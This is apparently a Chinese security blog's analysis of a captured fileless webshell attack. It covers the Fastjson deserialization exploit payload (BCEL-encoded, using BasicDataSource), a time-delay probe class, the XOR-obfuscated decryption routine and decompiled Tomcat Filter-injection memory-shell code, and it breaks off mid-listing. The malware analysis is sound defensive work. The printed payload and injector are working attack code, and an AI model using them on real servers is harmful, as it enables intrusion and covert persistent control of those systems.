记一次无文件Webshell攻击分析

0x1 前言

前段时间看到宽字节安全公众号发的《java恶意样本调试指南》,文章对捕获的一个无文件Webshell进行了分析。刚看到这篇文章开头部分样本反编译的截图时,我就认出了他。时隔一年,他又来了,还是熟悉的配方,熟悉的味道。

去年我们也捕获到了一个类似的样本,加密手法如出一辙,当时我和团队的小伙伴折腾了不少时间去分析攻击者的整个攻击过程,包括无文件Webshell的解密、Webshell加密通信流量的解密等,整个过程受益匪浅,收获颇丰。

时间过去了那么久,重逢即是缘分,那就重温一下,最后也对比看看宽字节安全大佬发出来的样本吧。

0x2 攻击分析

从流量中提取攻击的EXP,发现是Fastjson反序列化漏洞的利用,EXP使用了Unicode编码。

解码后发现使用org.apache.tomcat.dbcp.dbcp2.BasicDataSource类进行Fastjson反序列化漏洞攻击。

1
2
3
4
5
{
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},
"driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dPMO$c2$40$Q$7d$L$fd$b2$82$a0$e0$b7$i$3c$98$m$H$a9$m$W$S$e2E4$f1$fb$m$f1$be$5dV$z$96$d2$d4b$f4$l$f8O$3csQ$e3$c1$l$e0$8f2N$h$a3$f1$e6lvf$f6$ed$9b$b73$fb$f1$f9$f6$O$a0$86$92$J$D3$w$S$x$3c$9a$u$a0$a8c$d6$84$8a9$j$f3$3a$W$Y$b4$b6$eb$bb$d1$OC$ba$bc$7e$c1$a0$ec$O$7b$92$nw$ec$fa$f2t4pd$d8$e5$8eG$88$d1$W$de73$7b$kqqs$c2$83$e4$8a$E$Z$cc$f3$e1$u$Ur$df$8d$a9$95$ceh0x$Q$ad$86$z6e$b3$de$92$f6$d6e$bd$e1$f4$yGr$7b$bbW$TV$d3$b6$ac$8d$3e$bf$e3$ZL$c0$d4$b1$98$c1$S$96$Z$K1V$f5$b8$7fU$dd$bb$X2$88$dc$a1$9f$c1$KL$86$b5$7f$892$e4$7f$r$ce$9c$be$U$d1$l$a8$7b$jJ$decPo$3d$v$D$g$b7$7c$YO$9d$LB$d7$8f$92$b1$ba$n$X$S$ab$d0$e9$ebbK$81$c5$3d$92$9f$a4S$89$o$a3$a8V$5e$c0$c6$940d$c8k$Jh$d0$ca$feP$3bI$v$90$x$o$f5$K$e5$J$c6Q$e5$Z$da8$B5$d2T$89$Q$XO$nM$5e$nL$a5$5c$a3$Nz$3du$a0$p$a7$Q9$9f41$fd$F$f5$a1$86$d1$d5$B$A$A"
}

BCEL解码出来得到class文件,反编译后发现是通过时间延迟来验证是否存在Fastjson反序列化漏洞,如果存在漏洞并且org.apache.tomcat.dbcp.dbcp2.BasicDataSource链可用的话,响应会延迟大约5秒。

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Dummyc957c1e839e74f35bd0bea76d2c08700 {
public Dummyc957c1e839e74f35bd0bea76d2c08700() {
}

static {
try {
Thread.sleep(5000L);
} catch (Exception var1) {
var1.printStackTrace();
}

}
}

进行了几次时间延迟确认存在漏洞后,后面就是利用EXP注入无文件Webshell的过程。同样的进行解码、反编译后得到Macroprism类代码,主要用来实现注入无文件Webshell,但是关键的地方做了加密。

0x3 加密分析

一开始想着要拿到解密的内容并不难,这个代码本身就是实现了解密,只需要把解密结果存放的数组array2打印出来就行了,但是结果发现并没有那么简单,反编译的Macroprism类代码似乎有点问题,没法正常运行。

去掉无文件Webshell实现部分,单拿解密部分代码出来,大致分析一下发现是异或加密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
public class Macroprism
{
public static int a;
public static int b;

static {
final String[] array = new String[55];
int n = 0;
String s;
int n2 = (s = "-mX4p\u001d\u00147zF+m\u0004\u00109k/\u0015M~JN>4\u0019W|J[!8\u0019^mJZ:<\u0016\u0011}\u0001\\-'\u0013Om\u000b]`\"\u001f]7\"F\"!\u001fMT\u0005_\u0010\u0010^o\u0005\u0001;!\u0013S7&N=0L\u000b\u0018\u0010^o\u0005\u0001;!\u0013S7&N=0L\u000b= J-:\u001eZk\f\u001b[}\"F\"!\u001fM]\u0001I\r\tZm\"F\"!\u001fMW\u0005B+\u0006T\\u\u0005\\=\t\u0017P}\rI'0\bL\u000e\tZm\"F\"!\u001fMZ\bN=&\u0007\u001dZm*@:0.\u0015M~JN>4\u0019W|JL/!\u001bSp\nN`6\u0015M|Jn>%\u0016Vz\u0005[':\u0014{p\u0017_/!\u0019W|\u0016\u0006\u000e^k\u0003J:\u0013\u001dZm3@<>\u001fMM\f]+4\u001eqx\tJ\t?Q}\u0014@';\u000e\u001b\f2Pk\rU!;\u000eVz\u0005C$\u0015M~JN>4\u0019W|JL/!\u001bSp\nN`1\u001fOu\u000bV`\u0013\u0013Sm\u0001]\n0\u001c\u0011\n^k\u0017J\f4\tZ/Pm';\u001bM` \u0010^o\u0005W`-\u0017S7\u0006F 1T{x\u0010N:,\nZZ\u000bA80\bK|\u0016\u0014\u0010^o\u0005W`&\u001fMo\bJ:{<Vu\u0010J<\n\u001cVu\u0010J<\u0018\u001bOj\u0006\u001eZz\u000bK+/\u0015M~JN>4\u0019W|J[!8\u0019^mJZ:<\u0016\u0011}\u0001\\-'\u0013Om\u000b]`\"\u001f]7\"F\"!\u001fM]\u0001I\u1048\u0003I/RY)\u0014;~]-n:\u0014\u0015~T5m\u001e\u0016\u001d~a%i\u000f\u001e;{\\%z\u001f6;j~\u0007n\u001b\"\u001d~O%\\\u000f\u0017;}O'n\f\u00029XX\tn\b66~X5n\u0019\u0014\u001d~N5\\\u000f\u0002\u001d}{'n\f69H[\u0005n\be3~_Pd\u000f\u0013B~@%L\u000f\f+\\X=H!\u0014?X[4l)\u0014)~^)f\u000f\u0012+tX&f\u000f\u000f+PX!H\f89XX\tn\t61~[!n/\u0014\u0015~A\u0013m>\u0016\r~\\%h!\u001d;xj/n\f\";kn\u000bn,\u00148KZ\u0003n-\u0014=\u000bQ%hv\u001e;|)%L\u000f:;\\H&V\r2;XX\"n\u0006\u00142rR%l\u001f\u0014.Hz%K\u000f:;wX&\u001e\r2;RX,v\u0005\u00149nX\u0000X!\u0014\"H[Pl)\u0014\u001d~Q\u000fd\u000f\u001d?~|\u0003L\u000f0\rPX(~\f\r8H[\\l9\u0017C~QPg\u000f\u001dBwX-n\f\u0014;f!\u0005x{%\u001e{-&n\u000f\u0018\u0015tO=m\u000f\u0014({{V}\"\u0014+~I0h\" j,UM\u0019\u001f\u0016\\u6G\u00178\u0002SX5n/\u001e?Gh=w\u0014=6\ra\fM#6\fn+\u001cG-f4r{Vi%\u000f\"v./y\u0017\u0017;~_\nn\u001f\u0014,t_\u0010l\u0005\u0000\u0002N@<u&\u0019HGq\u0006B-#+\ra\fL}\u0018M~H%j/\u0002OO}%j\u000f\u001d\u0003WT\u0005B\bg#g~\u0012L|\u0003\u0003[t\u001cC*\u0016Cxx3W~\u000f\"u]\u0006\u001d{8\u001bhzSd\u0018\f8~X\u0014i+\u00124Sz,}>7H\nc&X\r\u0017;nX-u\tl=^N\u001c\u001f\u0014\r3}X\"\\!\u0001=Oq\u0000B\ba6\fW\bL \u000f\teA5Y\u001bg,F}\tW\"1<uu\u0007w\u00189\u0019\fHS{\t%\u0012[t\"\u001b\u0002f4Sz\nu=\u000f\"no1\u001d\u0018,\u001eRa\bK\b\u001f\u0016\\*&Y,;4SVTW?\f\"eq\u0001lw/ gSVM\t\u0003Js)>_,\u001d(Sz\u000fa!\f-Sl+V\"\u0002;nX*z}\u0007\u0012f+\u0010a\u0017\r8j@3e=\u000f+\\X1H-\u0014/Hz%M96;X~\u0007n)\"\u0019~q%L\u000f=+\\X\fH-\u0014\u001bHz%I\u000f6;Wn!n\fg(SzW}77IT[%n>\u0001\u0018\fO\u001dv|\u0003=^N\u001cC\u000f\u0004;mJ#\u001674\"Oo\u0006A\u001c%#\r_\u0017c#%\u0012[t!b\u000f\u00117~W%X\u000f\u0018\r~* n\r\u001c;vr&n\r\u0003\u000bfA>G+\u0016CEC<e|7=i)(\u001d&e\u001ewX\u0012|\u0006\u0007J\\_*C-; LC<}\u001d\u000f\"y(>w\u0000e;nX\tN#\u0013HfA\u0003Y-g,F}\tW\"19\u0006v\u0000g\u001c\"6\u000fqTK\u0006\u0017.eA.\u001d,\u0012,\u000fL\ty46=\u0006l\u0007\u001d\u001b\u0017;~i2L|\u0003\u0003sL\"A\u0014\u0002O\u000f]%l\u0005\u00143L[%g\b\u001b\u0018\fi\u0014M\t-\u0012sc1Z\u0003\u0016;POVC;\u000f=\u0006*\u0007V\f\u001a,|X\u001cb\ra\rp`&w/\u0002N\rW \\)0>f)/|\f\u0017\u0019w[\u0017u\u00181\u0016fr\u0010_*\u0016B\u000eT\u001eL;\u0018\u0000f~/j:\u001c,z()c\r\u0017\t^N\u0010C\u0007\u0010\u001eS@V[8\u001e)}]\u0005g\u0004#\u0018hL\u0012`\n\u0004\u000frZP\u001f\u0001\u0001#JT0D)\u0000Hyt=w\u0004%6EL\u001ea7a\u0000q~\u0013n$\u00149q]%l\u0001\u00143\u0007[%n\bd8HZ5k\u000f\u0016(~S-m\u000f\u0017;\u000b@\u001ef\u007f\u000f=ep>x\u001c85hLTb\n\u001f\u0012{X'{\u000f\u001f+}X%a\f\u0007,rQ%f\u001b\u0018;uL%C)\u0010;w+\u0014G*8<\u000bUVa70\"})\u0006Vw/\u0019xO\u000ec\u007f\u001b\u0016f*.C*\u0010\u000eS|2a9\u000f-r[%m*$#gC\fc|-\u0012]t\u0007Y\u001bf(Fx3\u001a \u0004\u0014ii\u0006h\u001c9\u0019Xn%C9\u0016#~H%n\n\u00149gX.D\u0003\u00140PX\tX9\u0014\u0014~Z\u0000k\u000f\u0014\u0000~SPb\u000f\u0011\u0015~w\u0013X\u000f:;|q%~\u000f1\u001bR_Vv\u001dl\n]`]l+\r(SH<e7\f\"SI\u0000w\u001c\"\u001egK0K\u0006\u001f\u0016fNTg\u000f\u001c#rX/f\u000f:\rHX\u0014n\r9;nX)|\tl\u0003^A\u0014Y,;(O@Vi=\u0011;|t%d-\u001d;t~)n\u0005>;N~!n\b;4\u000e{\r\u0016:4\"qs(\u001f\u0004\u0017/\u000fLVa\u000b\u0007\u0016f+]D\u0014\r3}X&m?\f\"eq(\u001d6=\u0018Rz\u0012z}\u0007\u0003^NQA\n\u00149MX.\u001f\u0003\u0014>rX\u0016n9\u0014\bnZ\u0011k\u000f\u0016\f~U%b\u000f\u0011\u001d~V5X\u000f&+|`%~\u000f\u0004\u001bR_Vv\u001dl\tfNQA\u0002eCVx\ty$1;zX!\u001d>=\u001eR\\\u0012M\t\u0013\u000fe`]z/\u001d0I}Vi'7=jQ%f\u001f\u0018;{-%\\9\u0010;yN\u0014G*8?I{#i;\u000f\u0003\u0006]\u0006h\b/\u0019\u000fa\u0012v\u0019\u0007\u0016\\~!n\b\u0012\nW}\tiz\u0019Iqu\u0007A\u0014& gH\u0012}#9\t[^2V\u000f\u0004;Zx\ti|\f\"Xo\u0007\u001d\u0018,\u001eRa\bK\rl.eA.\u001d,\u0012,\u000fK<G$\u000f\"})\u0005xw ;nX\u0007N#\u0013HfA\u0003Y-g,F}\tW\"19\u0006M>w\u0004g\u0018xOTz#\u0003\u0002[N2U*\u0014?~Q3_&1\u0017y-(\u001c\u00009\u0019QC\u0017u\u0016\u0004\fj+2V*8\u0002S}\"e\"6I}o\u0006A\u00009;nX>N#\u0013HfA\u0003Y-g,F}\tW\"19\u0006^\u0005x6e gS N\t\u0013\n]~!n\u000bg\nW}\tiz\u0019Hq`\u0001w\fe\u0018F N\u0016\u0017\u0015eA-m\u000f\u00168N@<u&09\u0006c>w\u0004g\u0018xOTc\u007f\u001b\u0016\\w>\\\u0014\r(u{\nm\u007f1<q)\u0007B\u0018=\u0018n\\%j|%\u0012[t!Y/\u0002BIJ1\u0016\b0=qu\u0007g\u001c%\u0018\r-&n\u000f!\u0011eN>_,8,{{#i46\rzX\"V&7+Tu.d\u001b-\u000bfA>G\u0002g\u0002W{\tL8\u0004HGq\u0007\u001c\u0003b;nX.u|\u0003Jl^2G\u0014\u0012,FX5n#\u001e?Gh=w\u0014=6\ra\fM#6\fj*6V/\u0002OQV\u001dC\u00034\u0017y+=|w&#h,\nc\u007f\u001bJ\\t\bZ\u0014/\t}X%u\"6\"iq\u0006g\u0003\u0017;}L\u000b{\t%\u0012[t!Y,\u0012<JC\u001d\u0016\u001e\f\u0017Ou=\u001c\u001fb1iv&n\u000f%\u0014eA6{\u0014\r4Ex3\u0016;\u0014+~p/l\"\u0018\u001bR_Vv\u00162\f\\+2V*8\u0002S}'\u0016!12mn(\u001f&e\u001ew[0u\u0016\u001b\u0000^N]Z\u0001\"?~Q\t_&1\u0017y-(\u001c\u00009\u0019QC\u0017u\u0016\u0004\f^Q6\u001f-\u0016Cv},}9\u0000Hic\u0007\u001d\"#\u0018X\\%k\t1\u0016[\\\"\u001f*\u001d0O@\ny~\u000f+zX.F&\u0018\u001bR_Vv\u001dl\tfNQA\u0002d4\u000fz\tC;\u000f\u0000Li0h>=\u001eR\\\u0012M\t\u0013\u000fe`]\u007f\u00178\nS@W~y\u0014+~T\u0007\u001d\u0018e+gKTL#9\u0013[A6C\u000f\u0004;QR!W?\f\"eq(\u001d6=\u0018Rz\u0012z}\u0007\u0003^NQA\u0001e\u0002N@<u&\u0019HGq\u0006B-#.\rS\u0015u\u0019\u001bJp`\bx\u000f\u0004;sCVy~\u0006-\nc\u0000h\b #\rL&n\r>\u0015k^\u0014G*8?I{#i;\u000f\u0003\u0006M\u0000g\u0004%\u0018RzSd\u001b-\u000bfA>G+\u0016CUz\nC91=\u0007o5\u001d\"\"\u001bxO\u001d`9\u0010;}t\"X-\u0012,JC%j\u000f\u0019)WT\u0005B\bg#l \u0017v\u0019`\u0014s)]F/8,U} \\>\u0001=Oq\u0000B\u000b#\u0018x_\u0011u7l.[Q._,8\u001e|}3C=\u000f=i`+X\u000b\u00146lq)N#\u0013HfJ]\\\u0017\u0002OQUUa~6\u0017Sl>U=%.xi\fK#\u0010\f]^\"Z\u0014,Ck},e>7\u0017[Z\u0000x\"& xO\u001d`9\u0010;|Q6Y\u001bf(Fx3\u001a \u0014+~L/l\"\u0018\u001bR_Vv\u001dl\tfNQA\u0002d4\u000fz\tC;\u000f\u0000L[%n&; gK'J\u0016\u0007\u0016\\n!n\f\u0016\u001dONTf\f\u00148\\v3\u001f\u0004\u0018\u001bR_Vv\u001dl\tfNQA\u0002d4\u000fz\tC;\u000f\u0000Li2H\u000b\u0014<Fq.{\t%\u0012[t!Y-g,U}<e>12To7\u001d\u0018`5Fu3n\u001f\u00145e+2\u001f\u001d\u0002OH}<}\u001a12uu=x~\u0017;|H\u000bd\u001b-\u000bfA>G+\u0016CEC<e|7=i)(\u001e\u00009\u0019QC\u0017u\u0016\u00070]w&\u001e*\u00134\u000fz\ty&7.L[%n\u001c, h_\u000fn\u001f\u0014>tZ\be\u000f\u0004;y}We>1=j[%n\u001f:)lu3n\u001f\u00143e+2\u001f\u001fg\u0002WzWb\f\u00148rv/z6$#gC\fc|-\u0012]t\u0007Y\u001fg\u0002WzWby\u0014+~I\u0005B\bg#l \u0017v\u0019`\u0014s)*\\\u0017\r4EX5n\u0001\u000fHi)5\u001d6=\u0019\fW)M|\u0013\u0011eA-m\u000f\u0017\u0011PR1W?\f\"eq(\u001d6=\u0018Rz\u0012~|-\u0012\\**b,g<TC<fy\u0014+~U\u0000hw\u0016\u001fgK\b~\u0016\u001f\u0003fA\u000fm\u000f\u0014/PNTf>\u0003\u001dzX h\u001c9#\r \u000fu\u001b\u001fKet>C-2?~_\rG\u00034\u0017y+=|w&#h,\nc\u007f\u001bJ\\t\bZ\u0014/\tONTf\f\u0014;[r\u0006\u001f\u0014%\u0018R_\u0017n\u001f\u0014=t_\u0010l\u0005\u0003\u000e|X5n\u00027\u0017i*7x{/\u001ex_\u0011v|\u00008~[5@\u0005\u0000\u0002N@<u&\u0019HGq\u0006B-#.\rS\u0015u\u0019\u001bJpn!n\u001f\u0016\u0012rx\ti|\f\"Xo\u0007\u001d\u0018,\u001eRa\bK\rl.eA.\u001d,\u0012,\u000fL\ty61-ic\u0000k:\u0018\u001bR_Vv\u00162\f\\+2V*8\u0002S}'\u0016\u001a\u000f\"u+\u0006h\u0018e/RO\u001eL\tl\u000f\\+1\u0018\u0005\u0003#~P5n)\u0014>zX%~\u000f,;~X%m)\u00148~])n\u0000\u0014;}X z\u000f\u0014;~q%n\u000b\u0014;nX%n\u000f\u0000\u000bKn%m=\u0004;~X%j\u000f\u001b\u001d~X%n!\u0014;XX%n\f\u0004;}X%y\u000f\u0014?~T\u0013n}\u0014;zX*~\u000f\u0014;|P%n)\u00149~X%n\f<\u0015Mm\u0013n\r&+~X%n\u000b\u00144XX%n\u000f:;~~%n\u000f\u0017\u001d~[5n\u0014\u0014;zX+n\u000f`;~\\%a\u001f\u0014;~Z!n\f\u0014;|X%n\u000f\u0016)Pk%V;~\u000eHX \\\u000f\u0014;~X!n\u00002;~X%v\u000f\u0014+~X%m9\u0014;nXRn\n&;~~%\u001e\u000f\u0014;~^5n\u000f\u0014;vX%n\u000f\u0017\tnX%n\u000f\u0010;q~%n\u000f\u0014#~X5n\u000f\u00149~X4n\u000f\u0014;~H%n\u001f\u0014C~X!n\u001e2;\u0010X%f\u000f\u001b+~X%J\u0003\u00148HX/n\u000f\u00148|p\u0012n\u000f\u0014+\t['U\u000f\u0014;j/&}%\u0010?XxQn\u000f69~T=ny\u0017\u0011z\\\u0003N{\u0014;\\Z%m\u0007\u001c\u000eXX.B\u001f\u0011\u0018xH7\u001a\u000f\u0014\u0015}X&f\u0002 +~T%H\n\u001d;}T>m\u0002>;|~!n\u000b2\tl]\u0006D\u000f\u0011\u001drX!Hea;}XRm6>2}{\u0017n\u000b\u0003\u0017\bX&e\u0014!\r~M#~\u001d`;~v&n\f\u001c6JH%b\u000f29\rX&~\u001d\u0013\u0018fX\"]\u0017\u0014<\b@%h\f\u001c*Kn%u:2;^^5|{\u00148L[%k!\u001c\u000fHX\u0007x,6;wM\u000be\t\u0004\u0013\rX&\u001a\u0014\u001b\u001dfZ\nX\u000f\u001b=nr2m<\f;w/\u0002\u0000y7\t~P\"D?!\u001d~q\u0010H\u000f<\u000eHX\u000eh\u001f0M~Z6u:\";Sl\u0013n#\u0002(TS\u0010H\u000f;\u000eHX\u000b[)\u0014\nK~%^:2;Mm\u0003n=\u0017\u0018\u000fX(y%\u0011=nJQn\u000f:8~_*u\f\u0017\u0011yLSv\u000f\u0019\u0016Zw%m)c8V)\u0016c\u0002>;rX)n>\";sU7\\= +~n%X\r-;~\\%d\u001f\u0011\u0002~I5n\u0002\";|X v\u000f\u0014;}R%m\u0007\u0014;~X\u000en\u000f\f;uX%b\u000f\u0016/~R5n!\u0014>PX/~\f\u001e;|j%z\u001f\u0014\t~P)n\u0002\u00049rX'\u001b\u000f9+~o%d\u000b\u00147~Z\u0016n\n\u001c;\u0007H%\u001e\u000f\u0005+~T\u0013k|\u0014>nXKH\u000fd;n\\%a9\u00100~]\u000fn\u001f\u0014;~X#\u0017\u000f\u0017\f\u000fX7H-\u0014+nz%~8m;l~%d\f\"8{[\u0013m\u000b\u0017\r}_&X\f\u00128H[&m9\u00179~X\u0007n\u001c\"\u0019~J%L\u000f\u0006+~XKX\u000f\u0003;~v,n\u000b\u00182~\\5g\u000f\u0010/wX!v\u0006\u0014?zQ%j\u0007\u00178H[,m9\u00173}n&e\u000f\u0014>\u0010X!H\u000f\u0017\u001d\\X5X-\u0014(~z%}\u001f6;m~\u0007n\u001f\u0004\u0019~H\u0003n\f\u0017\r}R n-\u0014*~X%n\u000f\f;~~&c\u000f\u0011J~X5m\u0003\u0014>nX%~\u000fd;~X%h\u001f\u0014;~X!n\u000f\u0014;}j5n\u000f\u0014;zX*H\u000f\u0014;~@%n\u001f\u0014;~]\u0013n\u000f\u00048qX%n\u000f\u0014\u001d}V\n\u001dZm,N 1\u0016Zk\u0003\bZh\u000e\u0010^o\u0005\u0001':TKt\u0014K''$\u0015M~JN>4\u0019W|JL/!\u001bSp\nN`1\u001fOu\u000bV`\u0013\u0013Sm\u0001]\u00034\n\t\tZm\"F\"!\u001fM\n\u001dZm'@ !\u001fGm\u0006\u000eWp\u0017\u000b~\r\tZm\"F\"!\u001fMW\u0005B+\"\u0015M~JN>4\u0019W|JL!,\u0015K|J}+$\u000fZj\u0010h<:\u000fOP\nI!\r\u001cVu\u0010J<\u0016\u0015Q\u007f\rH=\u0015\u0010^o\u0005\u0001\"4\u0014X70G<0\u001b[^\u0016@;%\u0007\u000eWk\u0001N*&\n\u001cVu\u0010J<\u0018\u001bOj\u001d\u0015M~JN>4\u0019W|JL!,\u0015K|J}+$\u000fZj\u0010f 3\u0015(\u0015M~JN>4\u0019W|JL/!\u001bSp\nN`6\u0015M|J|:4\u0014[x\u0016K\r:\u0014K|\u001c[0\u0015M~JN>4\u0019W|JL/!\u001bSp\nN`6\u0015M|Jn>%\u0016Vz\u0005[':\u0014yp\b[+'9Pw\u0002F)\u000b\u0013Qj\u0001]:\u0005\u0015Vw\u0010\u0007\u0016Px\u0000J<&\u0012\u001b[}\"F\"!\u001fMT\u0005_\f0\u001cPk\u0001\u000b\u001eZ\u007f\rA+\u0016\u0016^j\u0017\t\u001dZm#C!7\u001bS\u0004\u0012Km\u0014 \tJwJB'&\u0019\u0011L6c\r9\u001bLj4N:=^yp\bJ\u0002:\u001b[|\u0016\n\u001dZm J-:\u001eZk\u0010\u0010^o\u0005\u0001\"4\u0014X70G<0\u001b[\r\u001b[}1}\u0002\u0005\u001bKm\u0001] \u001b\u0015M~JN>4\u0019W|JL/!\u001bSp\nN`\u0016\u0015Qm\u0001W:\n\nMv\u0007J=&\u0015Mj\u001a\u0015M~JN>4\u0019W|J[!8\u0019^mJZ:<\u0016\u0011w\u0001[\u0006\u001dSv\u0006N\"").length();
int n3 = 16;
int n4 = -1;
Label_0029:
while (true) {
while (true) {
++n4;
final String s2 = s;
final int n5 = n4;
String s3 = s2.substring(n5, n5 + n3);
int n6 = -1;
while (true) {
final char[] charArray = s3.toCharArray();
int length;
int n8;
final int n7 = n8 = (length = charArray.length);
int n9 = 0;
while (true) {
Label_0248: {
if (n7 > 1) {
break Label_0248;
}
length = (n8 = n9);
do {
final char c = charArray[n8];
char c2 = '\0';
switch (n9 % 7) {
case 0: {
c2 = 'z';
break;
}
case 1: {
c2 = '?';
break;
}
case 2: {
c2 = '\u0019';
break;
}
case 3: {
c2 = 'd';
break;
}
case 4: {
c2 = '/';
break;
}
case 5: {
c2 = 'N';
break;
}
default: {
c2 = 'U';
break;
}
}
charArray[length] = (char)(c ^ c2);
++n9;
} while (n7 == 0);
}
if (n7 > n9) {
continue;
}
break;
}
final String intern = new String(charArray).intern();
switch (n6) {
default: {
array[n++] = intern;
if ((n4 += n3) < n2) {
n3 = s.charAt(n4);
continue Label_0029;
}
n2 = (s = "\u000f\\i\u0015\u0010^o\u0005\u0001\"4\u0014X7'C/&\tsv\u0005K+'").length();
n3 = 3;
n4 = -1;
break;
}
case 0: {
array[n++] = intern;
if ((n4 += n3) < n2) {
n3 = s.charAt(n4);
break;
}
break Label_0029;
}
}
++n4;
final String s4 = s;
final int n10 = n4;
s3 = s4.substring(n10, n10 + n3);
n6 = 0;
}
}
break;
}
final String[] array2 = array;
}
}

反编译出来的代码本身是有问题的,稍微修改一下然后动态调试,发现进入了一个死循环,把下面这个条件判断取消就可以了。

解密成功。

0x4 无文件Webshell分析

同样的,反编译出来的无文件Webshell实现部分的代码也是有问题的。上面解密出来后,把array2数组替换回无文件Webshell实现代码部分,发现是实现了基于Tomcat 7、8、9的动态注册Filter方式的无文件WebShell,大致代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
try {
final Thread currentThread = Thread.currentThread();
final ClassLoader parent = currentThread.getContextClassLoader().getParent();
final Class<?> loadClass = parent.loadClass("java.lang.Thread");
final Class<?> loadClass2 = parent.loadClass("java.lang.ThreadGroup");
final Class<?> loadClass3 = parent.loadClass("org.apache.coyote.RequestInfo");
final Class<?> loadClass4 = parent.loadClass("org.apache.coyote.RequestGroupInfo");
final Field declaredField = loadClass2.getDeclaredField("threads");
declaredField.setAccessible(true);
final Field declaredField2 = loadClass.getDeclaredField("target");
declaredField2.setAccessible(true);
final Thread[] array3 = (Thread[])declaredField.get(currentThread.getThreadGroup());
boolean b = false;
for (int i = 0; i < array3.length; ++i) {
final Thread thread = array3[i];
try {
if (thread == null || !thread.getName().contains("http")) {
continue;
}
}
catch (NoSuchMethodException ex) {
throw ex;
}
final Object value = declaredField2.get(thread);
try {
if (value == null) {
continue;
}
}
catch (NoSuchMethodException ex2) {
throw ex2;
}
Label_0505: {
try {
if (!value.getClass().getName().contains("Endpoint$")) {
continue;
}
final Object o = value;
final Class<?> clazz = o.getClass();
final Package package1 = clazz.getPackage();
final String s5 = package1.getName();
final String[] array4 = array2;
final int n11 = 51;
final String s6 = "org.apache.tomcat.util.net";
final boolean b2 = s5.equals(s6);
if (!b2) {
break Label_0505;
}
break Label_0505;
}
catch (NoSuchMethodException ex3) {
throw ex3;
}
try {
final Object o = value;
final Class<?> clazz = o.getClass();
final Package package1 = clazz.getPackage();
final String s5 = package1.getName();
final String[] array4 = array2;
final int n11 = 51;
final String s6 = "org.apache.tomcat.util.net";
final boolean b2 = s5.equals(s6);
if (!b2) {
continue;
}
}
catch (NoSuchMethodException ex4) {
throw ex4;
}
}
final Field declaredField3 = value.getClass().getDeclaredField("this$0");
declaredField3.setAccessible(true);
final Object value2 = declaredField3.get(value);
final Object invoke = value2.getClass().getMethod("getHandler", (Class<?>[])new Class[0]).invoke(value2, new Object[0]);
Object o2;
try {
o2 = invoke.getClass().getMethod("getGlobal", (Class<?>[])new Class[0]).invoke(invoke, new Object[0]);
}
catch (NoSuchMethodException ex10) {
final Field declaredField4 = invoke.getClass().getDeclaredField("global");
declaredField4.setAccessible(true);
o2 = declaredField4.get(invoke);
}
final Field declaredField5 = loadClass4.getDeclaredField("processors");
declaredField5.setAccessible(true);
final ArrayList list = (ArrayList)((ArrayList)declaredField5.get(o2)).clone();
for (int j = 0; j < list.size(); ++j) {
final Object value3 = list.get(j);
if (value3 != null) {
final String s7 = (String)loadClass3.getMethod("getWorkerThreadName", (Class<?>[])new Class[0]).invoke(value3, new Object[0]);
try {
if (s7 == null || !s7.equals(Thread.currentThread().getName())) {
continue;
}
}
catch (NoSuchMethodException ex5) {
throw ex5;
}
final Field declaredField6 = loadClass3.getDeclaredField("req");
declaredField6.setAccessible(true);
final Object value4 = declaredField6.get(value3);
final Object invoke2 = value4.getClass().getMethod("getNote", Integer.TYPE).invoke(value4, 1);
final Object invoke3 = invoke2.getClass().getMethod("getContext", (Class<?>[])new Class[0]).invoke(invoke2, new Object[0]);
final Class<?> loadClass5 = parent.loadClass("org.apache.catalina.core.ApplicationDispatcher");
final Class<?> loadClass6 = parent.loadClass("javax.servlet.Filter");
final Class<?> loadClass7 = parent.loadClass("org.apache.catalina.core.StandardContext");
final Class<?> loadClass8 = parent.loadClass("org.apache.catalina.core.ApplicationFilterConfig");
final Class<?> loadClass9 = parent.loadClass("org.apache.catalina.Context");
Class<?> clazz2;
Class<?> clazz3;
try {
clazz2 = parent.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef");
clazz3 = parent.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
}
catch (ClassNotFoundException ex11) {
clazz2 = parent.loadClass("org.apache.catalina.deploy.FilterDef");
clazz3 = parent.loadClass("org.apache.catalina.deploy.FilterMap");
}
final String s8 = "Horizontical";
